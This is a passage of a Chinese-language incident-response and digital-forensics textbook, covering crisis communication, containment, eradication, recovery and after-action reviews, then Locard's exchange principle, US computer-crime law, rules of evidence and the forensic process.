报告:SOAR 平台也是管理多个事件之间所有数据并提供广泛报告的优秀方式,涵盖事件及其性能指标。它们通常具有根据不同受众(如分析员、经理和董事)定制报告的能力。
需要记住的是,SOAR 不是专业安全分析员的替代品。相反,SOC 和 CSIRT 人员应将该工具集视为一种增强功能,使他们能够在大规模的情况下进行调查和响应。即便是对一个规模适中的企业网络,几乎也不可能做到完全可视化。SOAR 平台执行了许多低级活动,从而使得 CSIRT 和 SOC 人员能够集中精力进行更高层次的事件调查和响应活动。
纳入危机沟通
认为严重的安全事件可以被保密的观念已经过时。像 Target 和 TJX 这样的大型安全事件已经被公开曝光。加上新出台的数据泄露通知法,这些法律影响全球范围内的组织。通用数据保护条例(GDPR)第 33 条规定有一个 72 小时的泄露通知要求。
其他法规或合规框架,如健康保险流通与责任法案(HIPAA)第 45 条 CFR,§ § 164.400-414,规定在数据泄露事件发生时必须进行通知。法律和合规通信的压力需要传达给内部业务部门和外部利益相关者。尽管在事件发生期间制定和发布通信计划可能看起来是浪费资源,但在当今的法律和合规环境下,这已成为一种必要性。在审视危机沟通时,以下三个重点领域需要得到解决:
-
内部通信
-
外部通信
-
公共通知
这些都代表了特定的受众,每个受众都需要不同的内容和语气来传达信息。
内部通信
内部通信是指仅限于公司或组织内部人员及其报告结构之间的通信。多个业务单元需要参与沟通。法律部门需要随时了解事件进展,因为他们通常需要确定报告要求和其他监管要求。营销和公关部门可以用于撰写面向外部的沟通内容。最好的做法是尽早将他们纳入过程,以便他们能全面理解事件及其影响。如果事件涉及任何内部员工,人力资源部门也应作为内部沟通的一部分。
在事件展开过程中,C-suite,特别是 CEO,是一个关键的群体,他们需要随时了解情况。CSIRT 通常会低于高级领导的视线范围,直到出现重大事件。在这种情况下,CEO 将非常关注 CSIRT 的工作以及他们如何应对事件。
鉴于所有这些相关方需要保持信息畅通,确保有序的沟通并限制误信息的传播至关重要。为了避免混淆,IC 或 CSIRT 负责人应作为唯一的联系点。这样,法律部门就不会直接联系 CSIRT 分析员,获取当时还在推测阶段的调查信息。依赖此类信息可能导致严重的法律后果。为了让每个人都保持信息更新,CSIRT 负责人或 IC 应在事件发生的每一天定期更新信息。这些沟通的频率取决于事件的类型和严重程度,但每 4 小时进行一次更新,并在早上 6 点到晚上 10 点的工作时间内召开电话会议,将确保每个人都能及时获得最新信息。
除了常规的电话会议外,CSIRT 负责人或 IC 应准备一份每日状态报告,并将其发送给高级领导层。该每日状态报告不需要像数字取证报告那样详尽全面,但应该记录采取的重大行动、任何已获取的与事件相关的数据,以及可能限制 CSIRT 功能的潜在因素。至少应与此报告一起进行每日状态会议,会议对象包括高级领导层和事件过程中需要在场的其他人员。
外部沟通
事件可能会对遭遇事件的组织以外的其他外部实体产生下游影响。这些外部实体可能包括供应商、客户、交易处理设施或服务提供商。如果这些组织与受影响组织之间有直接连接—例如虚拟专用网络(VPN)—外部合作伙伴需要尽早得知此情况,而非拖延。这是为了限制攻击者利用这一连接入侵其他组织的可能性。
注意事项
在处理托管服务提供商(MSP)的事件管理和外部沟通时,主要的关注点是攻击者首先针对 MSP,并意图通过已建立的 VPN 将其作为跳板,进入其他组织。
这一点的完美例子就是 Target 泄露事件,攻击者通过侵入供暖、通风与空调(HVAC)供应商作为初始入侵点。攻击者正在使用这一行之有效的攻击 MSP 的方法,利用勒索软件进行攻击,并且现在每次攻击的目标是多个组织。
至少,组织应通知外部各方他们正在处理一个事件,并且作为预防措施,直到事件处理完毕之前,将会封锁该连接。此后可以提供更多信息。就像内部沟通一样,设定一个常规的沟通频率可能会大大有助于平稳化因事件导致的合作关系损害。在某些情况下,值得信任的外部各方可能会成为常规日常状态更新的一部分。
公共通知
如前所述,在通知客户或公众有关事件时,需要考虑多个法律和合规要求。组织可能必须在遵守如 HIPAA 等规定的要求与不披露仍在调查中的事件的操作细节之间保持微妙平衡。加重这一压力的是股价变化或潜在的业务损失。面对这些压力,至关重要的是制定一条在法律或合规要求内,同时能够限制组织声誉、收入或股价损害的信息。
尽管与当前事件直接相关,CSIRT 不应负责起草公共通知声明。相反,CSIRT 应提供事件调查的见解,并回答相关问题。涉及起草消息的两个最佳业务部门是法律部门和市场部门。市场部门的任务是制定一条消息,以减少客户可能的负面反应。法律部门的任务是制定符合法律或监管要求的消息。CSIRT 应尽可能提供建议,但这两个业务部门应作为与媒体或公众问题相关的联络点。
纳入遏制策略
遏制策略是在事件发生时采取的行动,旨在将损害限制在特定的系统或网络区域内。组织必须提前准备这些策略,以应对可能发生的事件。随着勒索软件的崛起,它结合了病毒和蠕虫的特性,能够迅速通过组织传播,这突显了在影响过多系统之前,快速遏制爆发的必要性。遏制的挑战之一是,许多企业 IT 系统采用扁平拓扑结构,这使得大多数系统能够相互通信。在这种环境中,勒索软件和其他蠕虫可以通过合法协议,如https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144,迅速传播。
为了有效应对遏制,组织应清楚了解其网络拓扑结构。这类网络意识可以通过网络发现工具的输出、最新的网络图、系统清单和漏洞扫描来实现。该数据应与 CSIRT 共享,以便形成网络的整体视图。从这里,CSIRT 应与网络运营人员协调遏制计划,以制定整体的遏制策略,限制事件可能造成的损害。将网络运营人员纳入技术支持团队,对于确保该过程的流畅进行和尽快实现遏制至关重要。
另一个直接影响事件管理的基础设施管理方面是变更管理。成熟的 IT 基础设施通常会有一个完善的文档化和管理的变更管理流程。然而,在事件发生时,CSIRT 和支持人员不能等待变更管理授权以及合适的变更窗口来实施变更。在执行遏制策略时,IT 和组织领导应充分理解,基于事件会进行变更。这并不意味着 CSIRT 和 IT 人员可以忽视谨慎操作,他们仍然需要确保变更得到妥善记录。
在应对恶意软件爆发(如勒索软件攻击)方面,可以采取多种策略。理想情况下,组织应该具备一定的能力将网络的不同部分隔离开,但如果这不可行,CSIRT 和 IT 人员可以采取以下一种或多种措施:
-
物理隔离:在这种情况下,系统与网络的物理连接被断开。简单来说,这可以通过拔掉网络电缆、禁用无线访问或通过操作系统禁用连接来实现。尽管这听起来很简单,但实际上有几个因素使得即便是最小的组织也很难采用这种策略。首先是定位受影响系统的能力。在数据中心内,受影响的系统可能在同一机架上,因此定位会更简单,但在企业环境中,要在众多桌面系统中定位 20 到 30 台受影响的计算机需要付出很大努力。在断开 20 台系统与网络连接的过程中,恶意软件可能已经扩散到其他系统。物理隔离的另一个难点是如何处理地理分布广泛的系统。如果数据中心或其他操作地点距离一个小时车程,便需要派遣人员到现场进行物理隔离。正如你所想,若事件的范围超出 CSIRT 的能力,物理隔离恶意软件爆发或其他事件会非常困难。物理隔离应当仅限于那些事件范围较小、CSIRT 人员能够迅速将系统从网络中移除的情况。
-
网络隔离:网络隔离策略在很大程度上依赖于网络工程师或架构师的专业知识。因此,他们通常会作为 CSIRT 技术支持人员的一部分,并应参与任何隔离策略的规划。在这种隔离策略下,网络管理员将负责修改交换机配置,以限制来自受感染系统的流量在子网内与网络其他部分的交换。该策略可能需要修改单个交换机上的配置或使用管理控制台。需要解决的一个方面是组织如何处理变更控制。在许多组织中,通常会将交换机配置变更作为正常变更控制流程的一部分进行审查。此流程中必须有一个例外条款,以便在声明事件时能够快速部署交换机配置变更。网络管理员还应确保对所做的任何更改进行适当的文档记录,以便在事件恢复阶段时能够撤销或修改这些更改。
-
边界隔离:边界防火墙是一个非常适合用于隔离的资产。在某些情况下,边界防火墙可以与网络隔离结合使用,采取类似俄罗斯套娃的方法,CSIRT 在边界进行网络流量隔离,并逐步深入到具体的子网以隔离受影响的系统。例如,恶意软件常常通过 PowerShell 等工具下载额外的代码或其他程序包。如果 CSIRT 已识别出恶意软件用来下载附加程序包的外部 IP 地址,可以在防火墙上阻止该 IP,从而防止进一步的损害。之后,CSIRT 可以从边界向内逐步追踪到受影响的系统。组织可以在此期间保留该规则,直到不再需要为止。与网络隔离一样,重要的是要解决更改防火墙规则集可能带来的任何变更控制问题。
-
虚拟化隔离:随着云计算和虚拟化技术的兴起,许多组织已经将包括服务器在内的系统从物理系统迁移到虚拟化系统中。虚拟化在正常操作中为组织提供了极大的灵活性,但在发生事件时,它也具有很大的优势,可以有效地进行隔离。首先,可以利用如 VMware 的 ESXi 平台等虚拟化管理软件一次性断开多个系统的网络连接。组织还可以通过虚拟交换机实现类似物理交换机的隔离功能。最后,虚拟化软件允许在事件发生时暂停系统。这是首选方法,因为在事件发生时暂停虚拟机可以保留大量后续可以检查的证据。
一旦事件被妥善隔离,CSIRT 和其他相关人员就有时间组织并开始调查该事件。他们也可以开始从网络中移除入侵者及其工具的工作。
恢复正常 – 清除、恢复和事件后的活动
一旦事件得到了适当且全面的调查,就该进入清除和恢复阶段。此时可能会有很大的紧迫感,因为大家都希望尽快恢复正常操作。虽然这里可能存在业务驱动的因素,但急于进行清除和恢复可能会重新引入未被发现的已被攻陷的系统。在其他情况下,可能会错过对之前已被攻陷系统的修复,使其再次暴露在同样的漏洞下,或者更糟,可能会将仍被感染的系统重新连接到网络。因此,我们将彻底讨论清除和恢复策略。
清除策略
现代恶意软件的一个不幸现实是,没有万无一失的方法可以确保所有恶意代码已被移除。在过去,组织可以简单地通过杀毒程序扫描系统来追踪恶意代码。然而,现在由于恶意软件技术如进程注入或 DLL 劫持,即使原始代码被移除,系统仍有可能被感染。此外,还有可能会有其他下载的代码被安装并且无法被检测到。因此,大多数消除策略依赖于将感染的机器重装为已知良好的镜像,或者恢复到已知良好的备份。
在恶意软件和勒索软件的情况下,常用的策略是利用三个独立的虚拟局域网(VLAN)段并对感染的机器进行重装。首先,所有被感染的机器会被放置到各自独立的 VLAN 中。从这里,CSIRT 或系统管理员会将其中一台感染的系统移到一个二级临时 VLAN 中。然后,系统会使用一个已知的良好镜像进行重装,或者使用已知的良好备份。从此,一旦系统被重装或备份恢复后,它将被移动到生产 VLAN,在那里进行额外的监控,以确保没有剩余的感染或安全漏洞。下图展示了一个简化的网络结构,支持这种恢复策略:

图 2.5 – 系统的消除与恢复架构
尽管这种方法可能很耗时,但它是确保所有受影响系统得到处理的极好方式。
对于虚拟系统,如果之前讨论过的隔离策略已被使用,被感染的虚拟系统将没有网络连接。接下来,最直接的消除策略是将系统恢复到最后已知的良好快照。一旦系统重启,它应该连接到一个有增强监控的 VLAN。值得注意的是,在恢复快照的情况下,CSIRT 需要对时间线有很高的信心。如果 CSIRT 不确定攻击的时间线,那么快照也有可能被感染。这在定期进行快照的组织中尤为真实。
恢复策略
在恢复方面,CSIRT 需要管理几个任务,以使操作恢复正常。第一个任务是确保所有系统——不仅是那些经过消除阶段的系统,而是所有系统——都已正确打上最新的补丁。这在攻击者利用零日漏洞或相对较新的漏洞时至关重要。在制造商没有及时提供补丁的情况下,CSIRT 应建议采取额外的安全控制措施,以减少任何剩余的风险。
恢复阶段的第二部分是 CSIRT 与 IT 和信息安全人员合作,制定额外的检测和预防警报。在确定根本原因时对证据进行检查,或在隔离阶段,CSIRT 可能已经提供了检测和预防控制的数据。CSIRT 应与其他人员合作,增补这些控制,增加更多的侦测和预防规则。这些额外的规则可能是针对特定事件,也可能与已识别的特定漏洞相关。
第三,所有对基础设施的变更应当进行审查。这些变更可以由 CSIRT 和 IT 人员初步审查,以确定是否仍然需要这些变更,或者是否可以移除。如果这些变更在长期内仍然需要,应该由组织的变更控制进行评估,并按照变更控制流程进行批准。
第四,在事件结束之前,最好进行全系统的漏洞扫描。这一点至关重要,因为它可以确保任何已经被攻破的系统得到处理。此外,这一步骤还可以处理那些未受安全事件影响的系统,确保它们已被修补以防范任何安全漏洞。
最后,在事件结束时,进行事后回顾(AAR)是非常重要的。该回顾会回顾整个事件的全过程。对 CSIRT 人员所采取的所有行动进行审查。此外,使用的计划和应急预案也会根据事件的实际操作进行审查。任何不足之处,如缺乏特定工具、培训或流程,都应提出来进行改进。此 AAR 的输出应作为整体事件文档的一部分进行记录。
事件后活动
从事件调查以及与事件响应相关的活动中,往往可以汲取很多教训。这些来之不易的教训应该在组织恢复正常运营后尽快记录下来。解决这个问题的最佳方法是通过事后回顾(AAR)。所有参与事件的人员应聚集在一起,无论是通过虚拟方式,还是如果可能的话,亲自聚集在同一地点。通常,IC 负责领导此项工作,另一名担任记录员的人员则负责记录所有相关细节。
总体来说,事件的 AAR 应当检查事件中不仅做得对的方面,还应关注那些做得不好的地方,从而找出需要改进的地方。以下是 AAR 中可以提问的一些示例问题:
-
事件是如何被检测到的,且该检测是否及时?
-
最初指示的严重性是什么?
-
升级程序是否足以捕捉到所需的信息?
-
实施了哪些隔离策略?它们的效果如何?
-
是否有足够的证据/时间来确定事件的根本原因?
-
CSIRT 各个元素之间的沟通是否清晰、简洁、及时?
该列表应作为总体 AAR 的起点。根据事件的严重性和持续时间,AAR 可能需要几分钟到几个小时来处理所有关键点并识别组织能力的缺口。这里的目标是捕捉这些信息,并将其融入到 CSIRT 政策和程序的改进中。
总结
事件规划至关重要。同样关键的是正确管理事件。这涉及到 CSIRT 在事件生命周期中必须处理的多个要素。
适当的后勤支持为 CSIRT 的运作提供了必要的要素。拥有与领导层、第三方和客户沟通事件信息的策略,可以保持相关方的知情,减少猜测,并确保满足合规要求。事件调查使得 CSIRT 能够正确识别攻击,确定范围并通过适当的遏制策略限制损害。最终,这些要素都是消除对手访问网络的能力并帮助组织恢复正常的重要部分。正如我们在本书开头所说的,每个人都有一个计划,直到被击中面部。CSIRT 对组织的真正价值不在于计划和手册,而在于在事件发生时的表现。
下一章将通过提供数字取证框架,进一步扩展事件管理中的事件调查部分,供 CSIRT 人员遵循。
问题
-
以下哪种遏制策略最难执行?
-
物理
-
网络
-
边界
-
虚拟
-
-
网络安全漏洞可能会对以下哪些方面产生影响?
-
保密性
-
完整性
-
可用性
-
上述所有
-
-
归因是至关重要的,必须完成归因才能成功进行事件调查。
-
正确
-
错误
-
进一步阅读
-
NIST SP 800-61 Rev 2, 计算机安全事件处理指南,网址:
csrc.nist.gov/publications/detail/sp/800-61/rev-2/final -
ENISA 现场角色扮演中的事件处理手册,网址:
https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/documents/incident-handling-in-live-role-playing-handbook/view -
事件处理手册,由 Patrick Kral 编写,SANS 阅读室,网址:
www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901 -
MITRE 世界级网络安全运营中心的十大战略,见
www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf -
安全编排自动化与响应(SOAR)
www.inquisitllc.com/wp-content/uploads/2020/05/White-Paper-Security-Orchestration-Automation-and-Response.pdf
第三章:数字取证基础
法医学可以定义为将科学原理应用于法律事务。在一个事件中,CSIRT(即计算机安全事件响应小组)成员可能会被召集,对在事件中获得的数字证据进行分析,利用数字取证工具、技术和知识。为了确保证据得到正确处理并能随后在法庭上被采纳,数字取证鉴定人员需要理解法律问题,并掌握数字取证过程中的细节。
本章将探讨影响 CSIRT 和数字取证鉴定人员的法律法规,以及有关证据如何在法庭上被采纳的规则。为了提供有关采取的行动的背景,我们还将探讨数字取证过程,最后,讨论将数字取证能力融入 CSIRT 所需的基础设施。
本章将涵盖以下主题:
-
法医学概述
-
洛卡尔交换原则
-
数字取证中的法律问题
-
事件响应中的法医程序
法医学概述
在过去的 20 年里,法医学的兴趣爆发式增长。简而言之,法医学是科学应用于法律事务的领域。法医学的实际操作是通过分析过程获取物理和数字证据,并在法庭上呈现科学发现。尽管它在大众媒体中有许多表现,法医学实际上是一个细致入微且要求精确的过程,需依赖深思熟虑的流程和程序、技术以及经验。
法医学已经成为多个学科的重要组成部分,甚至超出了刑事司法的范围。例如,航空事故调查员使用法医技术来调查飞机故障。会计在调查涉嫌欺诈和洗钱计划时也使用非常相似的原理和技术。即使是以历史伪造品著称的艺术界,也采用法医技术来验证艺术品的真实性。
法医学首次在公众关注的案件中发挥作用是在 19 世纪末的“开膛手杰克”谋杀案中。伦敦大都会警察局的调查员能够识别、收集并随后检查由未知凶手留下的物理证据。大约在那个时候,指纹比对和犯罪现场摄影这两项经验证的法医实践被纳入到不断增长的知识和实践体系中。
这些实践会在可用技术的基础上缓慢发展,直到第二次世界大战后。这个七十五年的时期见证了 DNA 证据作为识别犯罪者的强大手段的引入。技术被应用于工具痕迹和弹道学领域。二十世纪后半叶,数字取证也开始进入各个法医学科。
洛卡尔交换原则
指导法医科学的一个关键原则是洛卡尔交换原则。埃德蒙·洛卡尔博士是法医和刑事鉴定领域的先驱。他对这些领域的贡献使得许多人称他为法国的福尔摩斯。简单来说,他的原则是每一次与物理世界的接触都会留下痕迹。例如,一个盗贼打破窗户进入家中。然后他从窗户爬进去,开始抓取周围的物品。根据洛卡尔交换原则,盗贼会把鞋子上的泥土痕迹留在地毯上。皮肤和头发可能会从他们的身体上掉落到家中的各个表面上。没有戴手套的话,盗贼还可能在门把手上留下指纹。
这种交换是双向的。当盗贼在房子里留下他们的痕迹时,房子的痕迹也会留在他们身上。地毯纤维会附着在他们的鞋子上。打破的窗户的碎片也可能嵌入盗贼的鞋子和衣物中。这些微小的痕迹证据能够将盗贼与犯罪现场联系起来。
这个原则自第一次犯罪活动发生以来一直有效。变化的是法医科学家和刑事鉴定从业者在检测和分析这些痕迹证据方面的能力。例如,DNA 证据从该隐杀害亚伯时就已经存在。直到最近,它才在调查中变得有用,因为方法和技术的发展使得法医科学家可以确凿地证明生物材料能够与某个特定个体相关联,排除其他所有人。
关于这一原则,有几个需要注意的方面。首先,痕迹证据存在的时间长度存在较大差异。例如,一些痕迹证据,如撬杠在撬开门时留下的工具痕迹,可能会持续数月甚至数年。另一方面,暴露在外界环境中的指纹很容易在留下几天或几小时后就变得不再适用。其次,需要遵循某些流程来维护痕迹证据的完整性。如果痕迹证据未被正确收集,它可能会被篡改或销毁,导致无法用于调查。第三,必须有相应的技术来帮助分析痕迹证据。DNA 自地球生命诞生以来就存在。将这些痕迹证据用于调查的能力,依赖于能够正确比较和分析 DNA 样本的技术。最后,人为因素也是不可忽视的。痕迹证据需要由经过培训和认证的分析师处理,他们能够审查数据并得出结论。
在数字取证领域讨论洛卡尔交换原则可能看起来有些奇怪。实际上,支撑物理世界取证的同一原则,在数字取证中同样适用。例如,通过 Microsoft Windows 远程桌面功能连接到系统的简单操作就会留下痕迹。在这种情况下,外部威胁行为者获取了有效的用户凭证,并能够通过暴露的系统进行连接。连接本身会在暴露的系统上创建一条日志记录。使用有效凭证登录系统将创建第二条日志记录。该日志记录中包含威胁行为者系统的 IP 地址。这个 IP 地址也可能出现在防火墙日志中。威胁行为者的系统上还可能存在被攻击系统的日志记录和文件。
理解洛卡尔交换原则时,重要的是要理解“痕迹证据”这一概念。威胁行为者会竭尽全力清除他们的踪迹,就像非常优秀的犯罪分子一样,但仍然会留下痕迹。关键在于拥有发现这些痕迹并将其与威胁行为者联系起来的工具和能力。
数字取证中的法律问题
正如我们在第一章中看到的,恰当的事件响应需要来自不同领域的关键人物。这也揭示了一个常见的误解:事件响应仅仅是一个技术问题。事实上,事件响应的一个重要领域是法律领域。有一系列的法律和规章直接影响组织的事件响应能力,从数据泄露通知到隐私保护等方面。这些法律为政府起诉违法者提供了框架,并对如何处理和呈现证据等问题制定了严格的规定。
法律与法规
在 1980 年代中期,随着计算机犯罪逐渐普及,司法管辖区开始制定法律来应对日益增长的网络犯罪案件。例如,在美国,联邦刑法有具体的条款,专门处理涉及计算机的犯罪行为,具体如下:
-
18 USC § 1029—与访问设备相关的欺诈和相关活动: 该条款处理使用计算机进行欺诈行为。检察官通常在网络犯罪分子使用计算机或多台计算机进行身份盗窃或其他欺诈相关活动时引用这一法律。
-
18 USC § 1030—计算机欺诈与滥用法案 (CFAA): 在这部法律的众多条款中,最常与事件响应相关的条款是未经授权访问计算机系统的行为。该法律还涉及拒绝服务(DoS)攻击的非法性。
-
电子通信隐私法案(ECPA): 这一修正案对联邦窃听法进行了修订,并于 1986 年生效。它使得通过电子手段(如电信和互联网)未经授权截取通信成为非法行为。ECPA 在通信协助执法法案(CALEA)的进一步修订下得到强化。CALEA 要求互联网服务提供商(ISP)确保其网络可以为执法机构提供,支持其依法进行监控。
对 ECPA 的熟悉对在美国有业务存在的组织至关重要。该法案的条款规定,如果用户对隐私有合理的期望,组织在网络上进行监控和捕获流量,即便这些网络由组织控制,也构成犯罪。这可能导致组织因在其自有网络上嗅探流量而承担责任,前提是其用户对隐私有合理的期望。对于 CSIRT 成员来说,如果他们访问网络资源或其他系统,这可能会引发潜在的法律问题。这可以通过让所有系统用户确认他们理解组织可以监控其通信,并且在使用组织提供的计算机和网络资源时,他们对通信不具有合理的隐私期望,从而轻松解决。
- 1996 年经济间谍法案(EEA):这部法律包含了 18 USC § 1831-1839 中的若干条款,并将经济间谍行为和商业机密窃取定为犯罪。该法案比以往的间谍立法更为严厉,因为它直接针对商业企业,而不仅仅是国家安全或政府信息。
证据规则
《联邦证据规则》是决定证据在刑事或民事诉讼中是否可以采纳或排除的基础。CSIRT 成员了解以下规则非常重要,这样收集的任何证据都能以防止污染的方式进行处理,并避免证据被排除在法庭之外:
-
第 402 条——相关证据的测试:此规则包含两部分。首先,待纳入诉讼的证据必须能够使某个事实的发生概率比没有证据时更高或更低。其次,证据(或证据所证明的事实)对诉讼具有重要性。这清楚地表明,证据不仅要与诉讼相关,而且还应该证明或驳斥案件中的某一方面。
-
第 502 条——律师-客户特权和工作产品:现代法律中最神圣的原则之一是客户与其律师之间的关系。律师-客户特权的一个条款是,客户与律师之间的谈话内容在法庭上不可作为证据。这不仅适用于口头交流,还适用于书面交流。在数字取证领域,常常会有关于采取的行动和获得的信息的报告。许多情况下,事件响应者会直接为律师工作,代表其客户。因此,这些与事件相关的报告可能会受到律师工作产品规则的约束。在你在律师的指导下工作时,理解这一点非常重要,以便知道这些规则何时适用于你的工作。
-
规则 702——专家证人证言:通过在数字法医领域积累经验和知识,分析师可能被允许作为专家证人作证。该证据规则概述了专家证人证言的具体要求。
-
规则 902——自我认证证据:该规则最近进行了修订,涉及数字法医。自 2017 年 12 月 1 日起,新增了一项子部分。该子部分允许通过哈希值验证数字证据的完整性(我们将在后续章节讨论哈希的作用)。此外,规则要求有资质的人员出示证据,并且所呈现的证据必须是按照最佳实践收集的。
-
规则 1002——最佳证据规则:在民事或刑事诉讼中,原始的书面材料、录音或照片需要作为证据提出,除非可以做出合理的例外。在物理领域中,提供物理证据是很容易的。案件当事人可以轻松地展示用于攻击的刀具。当证据实际上是硬盘上的磁极性或来自路由器的日志文件时,情况就变得更复杂。在这种情况下,法院认为,对硬盘进行法医分析后产生的可靠镜像,可以作为实际硬盘的合理替代品。
-
规则 1003——副本的可采性:进行数字媒体法医检查时,最关键的步骤之一是制作该媒体的镜像或法医副本。该证据规则允许在法庭上采纳此类镜像。需要注意的是,如果镜像或法医副本要被采纳,执行该操作的分析师很可能需要作证,证明他们正确地执行了该操作。
接下来,我们将了解数字法医的基本程序,以及这些程序如何应用于事件响应。
事件响应中的法医程序
如前一章所述,数字法医是事件响应的重要组成部分。通常,正是数字法医方法的应用,使事件响应人员能够清楚地了解导致恶意行为的事件链,例如被攻击的服务器或其他数据泄露。对于其他事件,如内部欺诈或恶意内部人员活动,数字法医可能提供所谓的“定罪证据”,指向罪犯。在详细探讨事件响应人员可用的工具和技术之前,必须解决数字法医的基础性内容。这些内容不仅为特定行动提供背景,也为确保事件调查中的证据可用性提供方法。
数字法医简史
法律执法部门在 1980 年代中期开始关注计算机在犯罪活动中的作用。在此之前,现有的法律和执法技术并不擅长识别和起诉计算机犯罪分子。随着犯罪分子使用计算机的行为日益显著,美国联邦调查局(FBI)等机构决定建立一个专门的数字与取证调查能力。这促使了 FBI计算机分析与响应小组(CART)的成立。其他机构,如大都会警察局,也开始建立网络犯罪调查能力。
FBI CART 信息
一份出色的历史文档,涉及 FBI 的 CART,是 1992 年 1 月出版的《美国司法部犯罪实验室文摘》中的一篇简短文章:www.ncjrs.gov/pdffiles1/Digitization/137561NCJRS.pdf。
另外两个具有开创性的事件让更多人意识到网络调查和取证的必要性。第一个是黑客马库斯·赫斯闯入劳伦斯伯克利国家实验室。如果不是克利福德·斯托尔的努力,这次入侵可能会未被发现。斯托尔设计了一个计划,成功地将攻击者困住足够长的时间以追踪其连接。这些努力取得了成果,斯托尔和其他当局能够追踪到黑客,并最终以间谍罪起诉他。(下一章将深入探讨斯托尔的努力,因为这些努力不仅是一个表明数字取证需求的关键事件,而且他的调查技巧也为我们提供了有价值的洞见。)
第二个引人注目的事件是莫里斯蠕虫,它在 1988 年被释放到刚刚起步的互联网中。这个由罗伯特·塔潘·莫里斯创建和发布的蠕虫,导致了数千个系统的服务拒绝,随后造成了超过 100,000 美元的损失。由克利福德·斯托尔等人进行的事后调查发现,至少有 6,000 个系统被感染。蠕虫的快速传播及其带来的损害促使了卡内基梅隆大学CERT 协调中心(CERT/CC)的成立。
在 1990 年代,随着越来越多的执法机构将数字取证纳入其调查能力,取证流程标准化的需求变得愈加明显。1993 年,召开了一次国际会议,专门讨论计算机证据的作用。紧接着,1995 年,成立了国际计算机证据组织(IOCE)。该组织旨在制定围绕数字取证审查过程各个阶段的指导方针和标准。1998 年,与 IOCE 合作,联邦犯罪实验室主任成立了数字证据科学工作组(SWGDE)。该小组代表了美国在 IOCE 标准化数字取证实践中的一部分努力。
随着组织继续标准化实践,执法机构不断将数字取证融入到其整体取证能力中。2000 年,联邦调查局(FBI)建立了第一个地区计算机取证实验室(RCFL)。这些实验室的设立旨在为各级执法机构提供服务,支持各种网络犯罪调查。RCFL 的能力在过去二十年中不断发展,目前在美国各地设有 17 个独立的 RCFL。此外,其他联邦、州和地方警察机构也组建了工作组和独立的数字取证能力。随着计算机相关犯罪事件的不断增加,这些机构将继续执行其关键任务。
数字取证过程
与事件响应过程类似,数字取证过程定义了与事件相关的数字证据的流动,从证据首次被识别到最终呈交给高级领导层或裁决者(如民事或刑事法院)。有几个模式定义了这一过程,它们大多遵循类似的路径。在这里,我们将采用数字取证研究工作坊(DFRWS)数字调查框架。该框架如下图所示:

图 3.1 – 数字取证过程
该框架包含六个要素:
-
识别
-
保留
-
收集
-
检查
-
分析
-
呈现
从事件响应的角度来看,除非有充分的理由,否则工作人员通常不会扣押网络组件或关键系统并将其下线。这是数字取证和事件响应中固有的平衡行为之一。纯粹的数字取证方法会提取所有相关证据,确保其安全并加以处理。
这个过程可能需要几个月,具体取决于事件的类型。虽然这种方法详尽且细致,但可能会导致组织在一段时间内缺少关键组件。CSIRT(计算机安全事件响应小组)可能能够在一个月的分析后告诉领导层,哪个事件链导致了数据泄露,但如果一个月的收入已经损失,这样的分析将毫无意义。
分配给 CSIRT 的检查员必须准备好在确保彻底性的同时平衡恢复或继续正常操作的需要。
识别
开始数字取证过程的第一步是识别潜在的证据。这时,之前讨论的洛卡德交换原理(Lockard’s exchange principle)就派上了用场。这个原理可以指导在事件处理中识别潜在的证据来源。例如,如果 CSIRT 正在尝试确定系统上恶意软件感染的根本原因,它将从分析被感染的系统开始。由于某些恶意软件需要访问 C2 服务器,分析员可以搜索防火墙连接或代理日志,查看是否有从被感染系统到外部 IP 地址的任何出站流量。对这些连接 IP 地址的审查可能会揭示 C2 服务器,并且可能提供更多关于感染系统的具体恶意软件变种的细节。
然而,值得注意的是,威胁行为者可以很容易地操控数字证据,因此在没有其他佐证证据的情况下,依赖单一数字证据应始终保持谨慎;在信任之前,应该对其进行验证。
保存
一旦证据被识别出来,重要的是要保护其免受任何形式的修改或删除。对于诸如日志文件之类的证据,可能需要启用保护日志文件免于删除或修改的控制措施。对于主机系统,如台式机,可能需要通过物理或逻辑控制、网络访问控制或边界控制,将系统与网络其他部分隔离。还必须确保没有用户能够访问嫌疑系统,以防用户故意或无意地污染证据。保护措施的另一方面是越来越依赖虚拟平台。这些系统的保护可以通过系统快照以及将虚拟机保存到非易失性存储中来实现。
收集
收集元素是数字取证检查员开始获取数字证据的过程。在检查数字证据时,理解某些证据的易变性非常重要,检查员往往需要查看这些证据。易变证据是指当系统关闭时可能丧失的证据。对于网络设备,这可能包括设备上的活动连接或日志数据。对于笔记本电脑和台式机,易变数据包括运行中的内存或地址解析协议(ARP)缓存。
互联网工程任务组(IETF)编制了一份名为证据收集与存档指南(RFC 3227)的文档,介绍了数字证据的易失性顺序,如下所示:
-
寄存器和缓存
-
路由表、ARP 缓存、进程表、内核统计、内存(RAM)
-
临时文件系统
-
磁盘镜像
-
远程日志记录和监控物理数据配置,网络拓扑
-
存档介质
数字取证检查员在开始证据收集过程时,必须考虑到这些易失性。应采用方法将易失性证据收集并转移到非易失性介质中,例如外部硬盘。
正确的证据处理
证据的正确处理和保管至关重要。如何获取证据的错误可能导致证据被污染,从而无法作为法医证据使用。此外,如果案件涉及潜在的法律问题,关键证据可能会被排除在刑事或民事诉讼中。处理证据时需要遵循几个关键原则,列举如下:
-
改变原始证据:数字取证检查员采取的行动不应改变原始证据。例如,取证分析员如果没有必要,应该避免访问正在运行的系统。需要注意的是,接下来要探讨的一些任务可能会改变一些证据。通过合适的文档记录并有正当理由,数字取证检查员可以减少证据被判定为污染的风险。
-
文档:在执法领域,你常会听到这样一句话:如果你没有写下来,它就没有发生。这在讨论数字取证时尤其重要。每一个采取的行动都应该以某种方式进行文档记录。这包括详细的笔记和图示。另一种记录方式是通过照片。正确的文档记录可以让检查员在证据的完整性受到质疑时重建事件链。
证据处理指南
各种执法机构提供了关于现场正确处理证据的广泛资源。你应该熟悉这些程序。以下是执法机构使用的指南:
-
www.crime-scene-investigator.net/SeizingElectronicEvidence.pdf -
www.iacpcybercenter.org/wp-content/uploads/2015/04/digitalevidence-booklet-051215.pdf
证据链
